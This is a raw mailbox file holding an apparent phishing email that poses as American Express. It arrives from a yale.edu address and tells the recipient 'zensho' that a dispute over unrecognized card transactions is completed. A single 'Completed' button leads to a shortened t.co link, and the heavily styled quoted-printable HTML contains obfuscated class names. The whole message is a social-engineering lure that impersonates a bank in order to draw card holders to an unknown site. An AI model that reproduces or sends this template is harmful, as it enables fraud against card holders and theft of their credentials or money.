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Edit File: 1763312276.M972796P3609535.server-619288.prediksijaya.com,S=17193,W=17468

Envelope-to: zensho@ponjosonek.com
Delivery-date: Sun, 16 Nov 2025 23:57:56 +0700
From: American Express <amex@yale.edu>
To: zensho@ponjosonek.com
Date: 16 Nov 2025 09:57:15 -0700
Message-ID: <20251116095715.EAF2FC17ADEC84AC@yale.edu>
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Subject:    Dispute proccessed: View status

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OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
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<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 97px;=
 PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PAD=
DING-RIGHT: 0px; BACKGROUND-COLOR: rgb(0,23,90)">
<P style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial; COLOR: black; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">&nbsp;</P></TD>
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 1752p=
x; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; P=
ADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(0,23,90)">
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; PADDING-RIGHT: 0px"><SPAN style=3D"FONT-SIZE: 21px; FONT-FAMILY: arial; W=
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ne !important; BACKGROUND-COLOR: rgb(0,23,90); TEXT-INDENT: 0px; text-decor=
ation-color: initial">Dear card member,</SPAN></P>
</TD></TR>
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<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 97px;=
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<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
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rgb(0,23,90)" colSpan=3D2>&nbsp;</TD></TR></TBODY></TABLE></TD></TR></TBODY=
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<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 94px;=
 PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PAD=
DING-RIGHT: 0px">
<P style=3D"FONT-SIZE: 10pt; FONT-FAMILY: arial; COLOR: black; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">&nbsp;</P></TD>
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; WIDTH: 1648p=
x; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; P=
ADDING-RIGHT: 0px">
<P style=3D"FONT-SIZE: 13pt; FONT-FAMILY: arial; COLOR: rgb(0,23,90); PADDI=
NG-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-R=
IGHT: 0px">&nbsp;</P></TD></TR></TBODY></TABLE></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" bgColor=3D#ffffff><STRONG><FONT color=3D#00175a>zensho&nbsp;,<BR></FONT=
></STRONG></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10>
<P style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTTO=
M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=
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l; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,23,90); FONT-STYLE=
: normal; TEXT-ALIGN: center; TEXT-INDENT: 0px; text-decoration-color: init=
ial"><BR><BR>
We have completed our investigation for your card unrecognized transactions=
 claim, and have sent your claim status.</STRONG></P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
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<P style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTTO=
M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=
x" align=3Dleft><STRONG style=3D"FONT-SIZE: 17px; FONT-FAMILY: arial; WHITE=
-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,23,90=
); FONT-STYLE: normal; TEXT-ALIGN: center; TEXT-INDENT: 0px; text-decoratio=
n-color: initial"></STRONG>&nbsp;</P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">
<P style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTTO=
M: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0p=
x" align=3Dleft><SPAN style=3D"FONT-SIZE: 17px; FONT-FAMILY: arial; WHITE-S=
PACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FLOAT: none; FONT-WE=
IGHT: 400; COLOR: rgb(0,23,90); FONT-STYLE: normal; TEXT-ALIGN: center; DIS=
PLAY: inline !important; TEXT-INDENT: 0px; text-decoration-color: initial">=
</SPAN>&nbsp;</P></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10>&nbsp;</TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px">
<TABLE style=3D"FONT-FAMILY: new; BORDER-TOP-COLOR: rgb(217,217,217); WIDTH=
: 583px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; WORD-BREAK: normal; BORDE=
R-LEFT-COLOR: rgb(217,217,217); BORDER-BOTTOM-COLOR: rgb(217,217,217); MARG=
IN-LEFT: auto; BORDER-RIGHT-COLOR: rgb(217,217,217); MARGIN-RIGHT: auto; TE=
XT-INDENT: 0px; text-decoration-color: initial" cellSpacing=3D0 cellPadding=
=3D0 border=3D0>
<TBODY style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"BORDER-TOP: rgb(0,23,90) 2px solid; FONT-FAMILY: arial, helvet=
ica, clean, sans-serif; BORDER-RIGHT: rgb(0,23,90) 2px solid; WIDTH: 579px;=
 BORDER-BOTTOM: rgb(0,23,90) 2px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0=
px; PADDING-LEFT: 0px; BORDER-LEFT: rgb(0,23,90) 2px solid; MARGIN: 0px; PA=
DDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(0,23,90); border-radius: 6px" align=
=3Dcenter>
<A style=3D"FONT-SIZE: 12pt; TEXT-DECORATION: none; BORDER-TOP: rgb(0,23,90=
) 1px solid; FONT-FAMILY: arial; BORDER-RIGHT: rgb(0,23,90) 1px solid; WIDT=
H: 480px; BACKGROUND: rgb(0,23,90); BORDER-BOTTOM: rgb(0,23,90) 1px solid; =
FONT-WEIGHT: bold; COLOR: rgb(255,255,255); PADDING-BOTTOM: 10px; TEXT-ALIG=
N: center; PADDING-TOP: 10px; PADDING-LEFT: 10px; BORDER-LEFT: rgb(0,23,90)=
 1px solid; DISPLAY: block; LINE-HEIGHT: 25px; PADDING-RIGHT: 10px; border-=
radius: 20px" href=3D"https://t.co/psXUMvHvjg"=20
rel=3D"noopener noreferrer" target=3D_blank data-link-id=3D"4292">Completed=
&nbsp;</A></TD></TR></TBODY></TABLE>&nbsp;</TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10><STRONG><FONT color=3D#00175a></FONT></STRONG></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px"><STRONG style=3D"FONT-SIZE: 17px; FONT-FAMILY: arial; WHITE-SPACE: norm=
al; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,23,90); FONT-STYL=
E: normal; TEXT-ALIGN: center; TEXT-INDENT: 0px; text-decoration-color: ini=
tial"></STRONG></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif; PADDING-BOTT=
OM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0=
px" height=3D10>&nbsp;</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE class=3Dd00452cf828c1c2911c69f23ab30b8yiv8581792665nysz_nzyrs.nzyrsn=
yrsnzysssynr style=3D"FONT-SIZE: 12px; FONT-FAMILY: arial, helvetica, clean=
, sans-serif; BORDER-TOP-COLOR: rgb(217,217,217); WIDTH: 650px; WHITE-SPACE=
: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; WORD-BREAK: normal; BORD=
ER-LEFT-COLOR: rgb(217,217,217); FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-=
STYLE: normal; BORDER-BOTTOM-COLOR: rgb(217,217,217); ORPHANS: 2; WIDOWS: 2=
; BORDER-RIGHT-COLOR: rgb(217,217,217);=20
LETTER-SPACING: normal; TEXT-INDENT: 0px; font-variant-ligatures: normal; f=
ont-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-t=
hickness: initial; text-decoration-style: initial; text-decoration-color: i=
nitial" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter bgColor=3D#ffffff bo=
rder=3D0>
<TBODY style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD class=3Dd00452cf828c1c2911c69f23ab30b8yiv8581792665nysz_nzyrs.nzyrsnyrs=
nzysssynr style=3D"BORDER-TOP: rgb(255,255,255) 5px solid; FONT-FAMILY: ari=
al, helvetica, clean, sans-serif; BACKGROUND: no-repeat; PADDING-BOTTOM: 0p=
x; PADDING-TOP: 0px; PADDING-LEFT: 0px; MIN-HEIGHT: 80px; MARGIN: 0px; PADD=
ING-RIGHT: 0px"></TD></TR>
<TR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">
<TD style=3D"FONT-SIZE: 11px; FONT-FAMILY: arial, helvetica, sans-serif; CO=
LOR: rgb(102,102,102); PADDING-BOTTOM: 0px; PADDING-TOP: 12px; PADDING-LEFT=
: 0px; MARGIN: 0px; PADDING-RIGHT: 0px">
<HR style=3D"FONT-FAMILY: arial, helvetica, clean, sans-serif">

<P style=3D"FONT-SIZE: 16px; FONT-FAMILY: arial, helvetica, clean, sans-ser=
if; COLOR: rgb(81,84,94); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LE=
FT: 0px; MARGIN: 0.4em 0px 1.18em; LINE-HEIGHT: 1.625; PADDING-RIGHT: 0px">=
<STRONG>Thanks,</STRONG><BR style=3D"FONT-FAMILY: arial, helvetica, clean, =
sans-serif"><STRONG>American Express Customer Service Team.</STRONG></P></T=
D></TR></TBODY></TABLE>&#12288;</BODY></HTML>